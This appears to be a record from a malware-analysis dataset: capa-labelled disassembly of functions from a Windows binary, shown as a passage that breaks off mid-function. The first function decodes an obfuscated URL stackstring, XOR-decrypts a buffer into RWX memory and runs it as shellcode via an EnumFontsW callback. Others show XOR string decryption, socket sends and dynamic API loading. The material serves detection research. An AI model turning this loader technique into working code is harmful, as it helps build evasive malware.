joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002b30
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov eax, 0x66
mov ecx, 0x1f4
mov qword [rsp + 0x90], rbx
mov word [rbp - 0x2c], ax
mov eax, 0x63
mov dword [rbp - 0x40], 0x740068
mov word [rbp - 0x22], ax
mov eax, 0x33
mov dword [rbp - 0x3c], 0x700074
mov word [rbp - 0x1c], ax
mov eax, 0x36
mov dword [rbp - 0x38], 0x2f003a
mov dword [rbp - 0x34], 0x67002f
mov dword [rbp - 0x30], 0x710066
mov dword [rbp - 0x2a], 0x71006f
mov word [rbp - 0x1a], ax
mov dword [rbp - 0x26], 0x2e007a
mov dword [rbp - 0x20], 0x2f006e
mov dword [rbp - 0x18], 0x2e0030
mov dword [rbp - 0x14], 0x780074
xor ebx, ebx
mov dword [rbp - 0x10], 0x74
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.140002930
mov r11, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
cmp rdx, r11
je 0x140002cb3
mov qword [rsp + 0x98], rdi
mov r9d, ebx
mov r8d, ebx
lea rdi, str.hrsgdsb
mov r10d, ebx
nop dword [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r9d
add cl, 0x4f
xor byte [r10 + r11], cl
mov r11, qword [rbp - 0x60]
add edx, r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r9d, edx
mov rdx, qword [rbp - 0x58]
cmove r8, rbx
inc r9d
mov rcx, rdx
sub rcx, r11
movsxd rax, r9d
inc r10
cmp rax, rcx
jb 0x140002c00
mov rdi, qword [rsp + 0x98]
xor ecx, ecx
sub rdx, r11
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
sub r8, rdx
mov rcx, rax
mov rbx, rax
call fcn.140004250
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov r11, qword [rbp - 0x60]
mov rbx, qword [rsp + 0x90]
test r11, r11
je 0x140002cc8
mov rcx, r11
call fcn.140005400
xor eax, eax
add rsp, 0x80
pop rbp
ret

Function at 0x140008560
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400083d0
Function at 0x140018c2c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140028060]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400068e0
xor ebx, ebx
cmp qword [0x1400291a8], rbx
mov rdi, rax
jne 0x140018d3f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140018e16
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140018e16
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400291a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400291b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400291b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400291c8], rax
test rax, rax
je 0x140018d36
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400291c0], rax
jmp 0x140018d46
mov rax, qword [0x1400291c0]
jmp 0x140018d4d
mov rax, qword [0x1400291c0]
mov r11, qword [0x1400291c8]
cmp rax, rdi
je 0x140018db4
cmp r11, rdi
je 0x140018db4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400291c8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140018db4
test rax, rax
je 0x140018db4
call rsi
test rax, rax
je 0x140018dae
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140018dae
test byte [rsp + 0x40], 1
jne 0x140018db4
bts ebp, 0x15
jmp 0x140018df4
mov rcx, qword [0x1400291b0]
cmp rcx, rdi
je 0x140018df4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140018df4
call rax
mov rbx, rax
test rax, rax
je 0x140018df4
mov rcx, qword [0x1400291b8]
cmp rcx, rdi
je 0x140018df4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140018df4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400291a8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140018e16
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140018e18
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000b7b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140019167
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140028060]
jne 0x14000b7ca
rol rcx, 0x10
test cx, 0xffff
jne 0x14000b7c6
repz ret
ror rcx, 0x10
jmp 0x1400190c0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140029270]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140029368]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140019145
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140029270]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140019167
mov rax, qword [rsp + 0x88]
mov qword [0x140029368], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140029308], rax
mov rax, qword [0x140029368]
mov qword [0x1400291e0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400292f0], rax
mov dword [0x1400291d0], 0xc0000409
mov dword [0x1400291d4], 1
mov rax, qword [0x140028060]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140028068]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140029268], eax
mov ecx, 1
call fcn.140016c70
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400228a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140029268], 0
jne 0x1400191ee
mov ecx, 1
call fcn.140016c70
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140028de0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x4c], 0
mov rbp, rcx
je 0x140028fe2
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0x35c1a781c1734b63
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [rax + r15]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
xor byte [rax + 0x16], sil
xor byte [rax + 0x1e], sil
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
xor byte [rax + 0x17], dil
xor byte [rax + 0x1f], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
xor byte [rax + 0x18], bl
xor byte [rax + 0x20], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
xor byte [rax + 0x19], r11b
xor byte [rax + 0x21], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0x35c1a781c1734b63
xor byte [rax + 0x12], r10b
xor byte [rax + 0x1a], r10b
xor byte [rax + 0x22], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
xor byte [rax + 0x1b], r9b
xor byte [rax + 0x23], r9b
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x1c], r8b
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x1d], dl
add rax, 0x26
lea rcx, [rax + r14]
mov rdx, qword [rsp + 0x48]
movabs r9, 0x35c1a781c1734b63
mov r8, qword [rsp + 0x50]
cmp rcx, 0x4c
jb 0x140028e80
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x4c], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14003a260
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x14023f740]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor ebx, ebx
mov edi, r8d
mov r14, rdx
mov rbp, rcx
mov esi, ebx
test r8d, r8d
je 0x14003a305
lea r15d, [rbx + 0x10]
nop word [rax + rax]
mov rax, qword [rbp + 8]
lea rcx, [rsp + 0x20]
mov edx, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x20], rax
mov word [rsp + 0x28], r15w
lea r8d, [rdx - 2]
call qword [sym.imp.WS2_32.dll_WSAPoll]
test eax, eax
jle 0x14003a336
movzx eax, byte [rsp + 0x2a]
test al, 1
jne 0x14003a336
test al, 2
jne 0x14003a336
mov rcx, qword [rbp + 8]
xor r9d, r9d
movsxd rdx, esi
mov r8d, edi
add rdx, r14
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
test eax, eax
jg 0x14003a328
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x14003a32c
mov eax, ebx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14018e930
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
add esi, ebx
sub edi, ebx
test edi, edi
jne 0x14003a2a0
jmp 0x14003a305
mov eax, 0xffffffff
jmp 0x14003a307
Function at 0x14005b010
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp - 0x50], 0x67501566
mov dword [rbp - 0x4c], 0x6726632b
mov dword [rbp - 0x48], 0x53b1e524
mov dword [rbp - 0x44], 0xdff573
mov dword [rbp - 0x40], 0x67531515
mov dword [rbp - 0x3c], 0x672c6335
mov dword [rbp - 0x38], 0x53c5e52a
mov dword [rbp - 0x34], 0x9cf504
mov dword [rbp - 0x30], 0x6726155b
mov dword [rbp - 0x2c], 0x673c6355
mov dword [rbp - 0x28], 0x538ae537
mov dword [rbp - 0x24], 0x81f521
mov dword [rbp - 0x20], 0x677a1576
mov dword [rbp - 0x1c], 0x670d6309
mov dword [rbp - 0x18], 0x5386e502
mov dword [rbp - 0x14], 0x9af527
mov dword [rbp - 0x10], 0x67151547
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0xa28
mov eax, dword [rdx + rcx]
mov ebx, 0x8e0
add rbx, rcx
test al, 1
jne 0x14005b12d
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x44], 1
lea rax, [rbx + 0x42]
lea rcx, [rbp - 0xe]
cmp rbx, rcx
ja 0x14005b0fb
lea rcx, [rbp - 0x50]
cmp rax, rcx
jb 0x14005b0fb
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [rbp - 0x40]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x30], xmm1
mov eax, dword [rbp - 0x10]
mov dword [rbx + 0x40], eax
jmp 0x14005b120
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [rbp - 0x40]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x30], xmm1
mov eax, dword [rbp - 0x10]
mov dword [rbx + 0x40], eax
lea rcx, [0x1401c3530]
call fcn.14018ede0
nop
mov rax, rbx
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x14005d650
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x46], 0
mov rbp, rcx
je 0x14005d846
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0x4fb7d5f3ab95cfbf
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + r14]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [rax + r15]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
xor byte [rax + 0x16], sil
xor byte [rax + 0x1e], sil
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
xor byte [rax + 0x17], dil
xor byte [rax + 0x1f], dil
shl cl, 3
shr rbx, cl
lea ecx, [rax + r12]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
xor byte [rax + 0x18], bl
xor byte [rax + 0x20], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
xor byte [rax + 0x19], r11b
shl cl, 3
shr r10, cl
lea ecx, [rax + rdx]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0x4fb7d5f3ab95cfbf
xor byte [rax + 0x12], r10b
xor byte [rax + 0x1a], r10b
shl cl, 3
shr r9, cl
lea ecx, [rax + r8]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
xor byte [rax + 0x1b], r9b
shl cl, 3
shr r8, cl
xor byte [rax + 4], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x1c], r8b
movzx ecx, byte [rsp + 0x40]
mov r8, qword [rsp + 0x50]
add cl, al
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x1d], dl
add rax, 0x23
mov rdx, qword [rsp + 0x48]
lea rcx, [r14 + rax]
cmp rcx, 0x46
movabs r9, 0x4fb7d5f3ab95cfbf
jb 0x14005d6f0
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x46], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14006b9e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x4c], 0
mov rbp, rcx
je 0x14006bbe2
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0xcba5210905978dbf
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [rax + r15]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
xor byte [rax + 0x16], sil
xor byte [rax + 0x1e], sil
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
xor byte [rax + 0x17], dil
xor byte [rax + 0x1f], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
xor byte [rax + 0x18], bl
xor byte [rax + 0x20], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
xor byte [rax + 0x19], r11b
xor byte [rax + 0x21], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0xcba5210905978dbf
xor byte [rax + 0x12], r10b
xor byte [rax + 0x1a], r10b
xor byte [rax + 0x22], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
xor byte [rax + 0x1b], r9b
xor byte [rax + 0x23], r9b
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x1c], r8b
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x1d], dl
add rax, 0x26
lea rcx, [rax + r14]
mov rdx, qword [rsp + 0x48]
movabs r9, 0xcba5210905978dbf
mov r8, qword [rsp + 0x50]
cmp rcx, 0x4c
jb 0x14006ba80
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x4c], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14006bcd0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x5d], 0
mov rbp, rcx
je 0x14006beb8
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0xf5f1135169abdfd1
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [r15 + rax]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
xor byte [rax + 0x16], sil
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
xor byte [rax + 0x17], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
xor byte [rax + 0x18], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
xor byte [rax + 0x19], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0xf5f1135169abdfd1
xor byte [rax + 0x12], r10b
xor byte [rax + 0x1a], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
xor byte [rax + 0x1b], r9b
movabs r9, 0xf5f1135169abdfd1
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x1c], r8b
mov r8, qword [rsp + 0x50]
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0x15], dl
add rax, 0x1f
mov rdx, qword [rsp + 0x48]
lea rcx, [rax + r14]
cmp rcx, 0x5d
jb 0x14006bd70
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x5d], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14006bfb0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x45], 0
mov rbp, rcx
je 0x14006c17a
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0xc13963014d37c5d1
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [r15 + rax]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0xc13963014d37c5d1
xor byte [rax + 0x12], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
movabs r9, 0xc13963014d37c5d1
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
mov r8, qword [rsp + 0x50]
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
add rax, 0x17
mov rdx, qword [rsp + 0x48]
lea rcx, [rax + r14]
cmp rcx, 0x45
jb 0x14006c050
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x45], 0
add rsp, 0x30
pop rbp
ret
Function at 0x140079730
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r10, dword [rcx + 8]
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
movsxd rdx, dword [rdx + 8]
mov r8d, ebx
mov r9, r10
cmp r10, rdx
jge 0x14007977d
mov rax, qword [rsi]
lea rcx, [rax + r10*8]
mov rax, rdx
sub rax, r10
nop word [rax + rax]
or r8, qword [rcx]
lea rcx, [rcx + 8]
sub rax, 1
jne 0x140079770
cmp rdx, r9
jge 0x14007979d
mov rax, qword [rdi]
sub r9, rdx
lea rcx, [rax + rdx*8]
nop dword [rax]
or r8, qword [rcx]
lea rcx, [rcx + 8]
sub r9, 1
jne 0x140079790
cmp r10d, edx
cmovge r10d, edx
mov edx, ebx
test r10d, r10d
jle 0x140079829
cmp r10d, 4
jb 0x140079829
